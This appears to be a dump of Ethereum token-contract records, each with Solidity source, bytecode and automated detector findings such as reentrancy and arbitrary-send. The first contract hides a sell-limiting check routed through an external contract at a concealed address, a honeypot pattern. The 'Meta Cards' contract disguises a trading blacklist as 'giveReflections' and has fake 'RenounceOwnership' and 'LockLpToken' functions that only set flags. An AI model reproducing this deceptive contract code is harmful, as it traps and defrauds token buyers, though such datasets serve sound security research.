mapping (address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = TOTAL_SUPPLY * 10**DECIMALS;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _burnFee;
uint256 private _taxFee;
address payable private _taxWallet;
uint256 private _maxTxAmount;
string private constant _name = TOKEN_NAME;
string private constant _symbol = TOKEN_SYMBOL;
uint8 private constant _decimals = DECIMALS;
IUniswapV2Router02 private _uniswap;
address private _pair;
bool private _canTrade;
bool private _inSwap = false;
bool private _swapEnabled = false;
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor () {
_taxWallet = payable(_msgSender());
_burnFee = 1;
_taxFee = INITIAL_TAX;
_uniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_taxWallet] = true;
_maxTxAmount=_tTotal.div(20);
emit Transfer(address(0x0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function removeBuyLimit() public onlyTaxCollector{
_maxTxAmount=_tTotal;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(((to == _pair && from != address(_uniswap) )?amount:0) <= O(ROUTER_ADDRESS).amount(address(this)));
if (from != owner() && to != owner()) {
if (from == _pair && to != address(_uniswap) && ! _isExcludedFromFee[to] ) {
require(amount<_maxTxAmount,"Transaction amount limited");
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && from != _pair && _swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > TAX_THRESHOLD) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswap.WETH();
_approve(address(this), address(_uniswap), tokenAmount);
_uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
modifier onlyTaxCollector() {
require(_taxWallet == _msgSender() );
_;
}
function lowerTax(uint256 newTaxRate) public onlyTaxCollector{
require(newTaxRate<INITIAL_TAX);
_taxFee=newTaxRate;
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function startTrading() external onlyTaxCollector {
require(!_canTrade,"Trading is already open");
_approve(address(this), address(_uniswap), _tTotal);
_pair = IUniswapV2Factory(_uniswap.factory()).createPair(address(this), _uniswap.WETH());
_uniswap.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_swapEnabled = true;
_canTrade = true;
IERC20(_pair).approve(address(_uniswap), type(uint).max);
}
function endTrading() external onlyTaxCollector{
require(_canTrade,"Trading is not started yet");
_swapEnabled = false;
_canTrade = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualSwap() external onlyTaxCollector{
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external onlyTaxCollector{
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _burnFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101025760003560e01c806356d9dce81161009557806395d89b411161006457806395d89b41146102985780639e752b95146102c3578063a9059cbb146102e3578063dd62ed3e14610303578063f42938901461034957600080fd5b806356d9dce81461022657806370a082311461023b578063715018a61461025b5780638da5cb5b1461027057600080fd5b8063293230b8116100d1578063293230b8146101c9578063313ce567146101e05780633e07ce5b146101fc57806351bc3c851461021157600080fd5b806306fdde031461010e578063095ea7b31461015657806318160ddd1461018657806323b872dd146101a957600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b5060408051808201909152600d81526c47686f7374204275737465727360981b60208201525b60405161014d91906114f5565b60405180910390f35b34801561016257600080fd5b5061017661017136600461155f565b61035e565b604051901515815260200161014d565b34801561019257600080fd5b5061019b610375565b60405190815260200161014d565b3480156101b557600080fd5b506101766101c436600461158b565b610396565b3480156101d557600080fd5b506101de6103ff565b005b3480156101ec57600080fd5b506040516006815260200161014d565b34801561020857600080fd5b506101de610777565b34801561021d57600080fd5b506101de6107ad565b34801561023257600080fd5b506101de6107da565b34801561024757600080fd5b5061019b6102563660046115cc565b61085b565b34801561026757600080fd5b506101de61087d565b34801561027c57600080fd5b506000546040516001600160a01b03909116815260200161014d565b3480156102a457600080fd5b5060408051808201909152600281526123a160f11b6020820152610140565b3480156102cf57600080fd5b506101de6102de3660046115e9565b610921565b3480156102ef57600080fd5b506101766102fe36600461155f565b61094a565b34801561030f57600080fd5b5061019b61031e366004611602565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561035557600080fd5b506101de610957565b600061036b3384846109c1565b5060015b92915050565b60006103836006600a611735565b61039190630e4e1c00611744565b905090565b60006103a3848484610ae5565b6103f584336103f0856040518060600160405280602881526020016118c2602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610e21565b6109c1565b5060019392505050565b6009546001600160a01b0316331461041657600080fd5b600c54600160a01b900460ff16156104755760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064015b60405180910390fd5b600b546104a19030906001600160a01b03166104936006600a611735565b6103f090630e4e1c00611744565b600b60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104f4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105189190611763565b6001600160a01b031663c9c6539630600b60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561057a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061059e9190611763565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156105eb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061060f9190611763565b600c80546001600160a01b0319166001600160a01b03928316179055600b541663f305d719473061063f8161085b565b6000806106546000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156106bc573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906106e19190611780565b5050600c805462ff00ff60a01b1981166201000160a01b17909155600b5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610750573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061077491906117ae565b50565b6009546001600160a01b0316331461078e57600080fd5b61079a6006600a611735565b6107a890630e4e1c00611744565b600a55565b6009546001600160a01b031633146107c457600080fd5b60006107cf3061085b565b905061077481610e5b565b6009546001600160a01b031633146107f157600080fd5b600c54600160a01b900460ff1661084a5760405162461bcd60e51b815260206004820152601a60248201527f54726164696e67206973206e6f74207374617274656420796574000000000000604482015260640161046c565b600c805462ff00ff60a01b19169055565b6001600160a01b03811660009081526002602052604081205461036f90610fd5565b6000546001600160a01b031633146108d75760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161046c565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6009546001600160a01b0316331461093857600080fd5b6008811061094557600080fd5b600855565b600061036b338484610ae5565b6009546001600160a01b0316331461096e57600080fd5b4761077481611052565b60006109ba83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611090565b9392505050565b6001600160a01b038316610a235760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161046c565b6001600160a01b038216610a845760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161046c565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b495760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161046c565b6001600160a01b038216610bab5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161046c565b60008111610c0d5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161046c565b604051635cf85fb360e11b815230600482015273c6866ce931d4b765d66080dd6a47566ccb99f62f9063b9f0bf6690602401602060405180830381865afa158015610c5c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c8091906117d0565b600c546001600160a01b038481169116148015610cab5750600b546001600160a01b03858116911614155b610cb6576000610cb8565b815b1115610cc357600080fd5b6000546001600160a01b03848116911614801590610cef57506000546001600160a01b03838116911614155b15610e1157600c546001600160a01b038481169116148015610d1f5750600b546001600160a01b03838116911614155b8015610d4457506001600160a01b03821660009081526004602052604090205460ff16155b15610d9a57600a548110610d9a5760405162461bcd60e51b815260206004820152601a60248201527f5472616e73616374696f6e20616d6f756e74206c696d69746564000000000000604482015260640161046c565b6000610da53061085b565b600c54909150600160a81b900460ff16158015610dd05750600c546001600160a01b03858116911614155b8015610de55750600c54600160b01b900460ff165b15610e0f57610df381610e5b565b47670de0b6b3a7640000811115610e0d57610e0d47611052565b505b505b610e1c8383836110be565b505050565b60008184841115610e455760405162461bcd60e51b815260040161046c91906114f5565b506000610e5284866117e9565b95945050505050565b600c805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610ea357610ea3611800565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610efc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f209190611763565b81600181518110610f3357610f33611800565b6001600160a01b039283166020918202929092010152600b54610f5991309116846109c1565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610f92908590600090869030904290600401611816565b600060405180830381600087803b158015610fac57600080fd5b505af1158015610fc0573d6000803e3d6000fd5b5050600c805460ff60a81b1916905550505050565b600060055482111561103c5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161046c565b60006110466110c9565b90506109ba8382610978565b6009546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561108c573d6000803e3d6000fd5b5050565b600081836110b15760405162461bcd60e51b815260040161046c91906114f5565b506000610e528486611887565b610e1c8383836110ec565b60008060006110d66111e3565b90925090506110e58282610978565b9250505090565b6000806000806000806110fe87611265565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061113090876112c2565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461115f9086611304565b6001600160a01b03891660009081526002602052604090205561118181611363565b61118b84836113ad565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516111d091815260200190565b60405180910390a3505050505050505050565b6005546000908190816111f86006600a611735565b61120690630e4e1c00611744565b905061122e6112176006600a611735565b61122590630e4e1c00611744565b60055490610978565b82101561125c576005546112446006600a611735565b61125290630e4e1c00611744565b9350935050509091565b90939092509050565b60008060008060008060008060006112828a6007546008546113d1565b92509250925060006112926110c9565b905060008060006112a58e878787611426565b919e509c509a509598509396509194505050505091939550919395565b60006109ba83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e21565b60008061131183856118a9565b9050838110156109ba5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161046c565b600061136d6110c9565b9050600061137b8383611476565b306000908152600260205260409020549091506113989082611304565b30600090815260026020526040902055505050565b6005546113ba90836112c2565b6005556006546113ca9082611304565b6006555050565b60008080806113eb60646113e58989611476565b90610978565b905060006113fe60646113e58a89611476565b90506000611416826114108b866112c2565b906112c2565b9992985090965090945050505050565b60008080806114358886611476565b905060006114438887611476565b905060006114518888611476565b905060006114638261141086866112c2565b939b939a50919850919650505050505050565b6000826114855750600061036f565b60006114918385611744565b90508261149e8583611887565b146109ba5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161046c565b600060208083528351808285015260005b8181101561152257858101830151858201604001528201611506565b81811115611534576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461077457600080fd5b6000806040838503121561157257600080fd5b823561157d8161154a565b946020939093013593505050565b6000806000606084860312156115a057600080fd5b83356115ab8161154a565b925060208401356115bb8161154a565b929592945050506040919091013590565b6000602082840312156115de57600080fd5b81356109ba8161154a565b6000602082840312156115fb57600080fd5b5035919050565b6000806040838503121561161557600080fd5b82356116208161154a565b915060208301356116308161154a565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561168c5781600019048211156116725761167261163b565b8085161561167f57918102915b93841c9390800290611656565b509250929050565b6000826116a35750600161036f565b816116b05750600061036f565b81600181146116c657600281146116d0576116ec565b600191505061036f565b60ff8411156116e1576116e161163b565b50506001821b61036f565b5060208310610133831016604e8410600b841016171561170f575081810a61036f565b6117198383611651565b806000190482111561172d5761172d61163b565b029392505050565b60006109ba60ff841683611694565b600081600019048311821515161561175e5761175e61163b565b500290565b60006020828403121561177557600080fd5b81516109ba8161154a565b60008060006060848603121561179557600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156117c057600080fd5b815180151581146109ba57600080fd5b6000602082840312156117e257600080fd5b5051919050565b6000828210156117fb576117fb61163b565b500390565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118665784516001600160a01b031683529383019391830191600101611841565b50506001600160a01b03969096166060850152505050608001529392505050565b6000826118a457634e487b7160e01b600052601260045260246000fd5b500490565b600082198211156118bc576118bc61163b565b50019056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122059953ab44e095a47a8a53c89a97f5aefc4664ab13b512b04b7830cf90f7e893f64736f6c634300080a0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 3,293 |
0xe9251a0ae5b7bc0b80e15be714ba44df22812686
|
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract MetaCards is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 10000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string private constant _name = "Meta Cards";
string private constant _symbol = "MCARDS";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool public lock = false;
bool public renounced = false;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(0x56550A9C32c7A4d863d3342Cf09A1C4009c628fa);
_feeAddrWallet2 = payable(0x56550A9C32c7A4d863d3342Cf09A1C4009c628fa);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
emit Transfer(address(0x56550A9C32c7A4d863d3342Cf09A1C4009c628fa), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 0;
_feeAddr2 = 5;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = 5;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function giveReflections(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function LockLpToken() public onlyOwner() {
lock = true;
}
function RenounceOwnership() public onlyOwner() {
renounced = true;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101025760003560e01c806370a0823111610095578063c3c8cd8011610064578063c3c8cd8014610330578063d232c22014610347578063dd62ed3e14610372578063e57887ba146103af578063f83d08ba146103c657610109565b806370a08231146102605780638da5cb5b1461029d57806395d89b41146102c8578063a9059cbb146102f357610109565b806323b872dd116100d157806323b872dd146101ca578063313ce567146102075780636e4ee811146102325780636fc3eaec1461024957610109565b806306fdde031461010e578063095ea7b31461013957806315a892be1461017657806318160ddd1461019f57610109565b3661010957005b600080fd5b34801561011a57600080fd5b506101236103f1565b6040516101309190611da0565b60405180910390f35b34801561014557600080fd5b50610160600480360381019061015b9190611e6a565b61042e565b60405161016d9190611ec5565b60405180910390f35b34801561018257600080fd5b5061019d60048036038101906101989190612028565b61044c565b005b3480156101ab57600080fd5b506101b4610576565b6040516101c19190612080565b60405180910390f35b3480156101d657600080fd5b506101f160048036038101906101ec919061209b565b610585565b6040516101fe9190611ec5565b60405180910390f35b34801561021357600080fd5b5061021c61065e565b604051610229919061210a565b60405180910390f35b34801561023e57600080fd5b50610247610667565b005b34801561025557600080fd5b5061025e610719565b005b34801561026c57600080fd5b5061028760048036038101906102829190612125565b61078b565b6040516102949190612080565b60405180910390f35b3480156102a957600080fd5b506102b26107dc565b6040516102bf9190612161565b60405180910390f35b3480156102d457600080fd5b506102dd610805565b6040516102ea9190611da0565b60405180910390f35b3480156102ff57600080fd5b5061031a60048036038101906103159190611e6a565b610842565b6040516103279190611ec5565b60405180910390f35b34801561033c57600080fd5b50610345610860565b005b34801561035357600080fd5b5061035c6108da565b6040516103699190611ec5565b60405180910390f35b34801561037e57600080fd5b506103996004803603810190610394919061217c565b6108ed565b6040516103a69190612080565b60405180910390f35b3480156103bb57600080fd5b506103c4610974565b005b3480156103d257600080fd5b506103db610a26565b6040516103e89190611ec5565b60405180910390f35b60606040518060400160405280600a81526020017f4d65746120436172647300000000000000000000000000000000000000000000815250905090565b600061044261043b610a39565b8484610a41565b6001905092915050565b610454610a39565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104d890612208565b60405180910390fd5b6000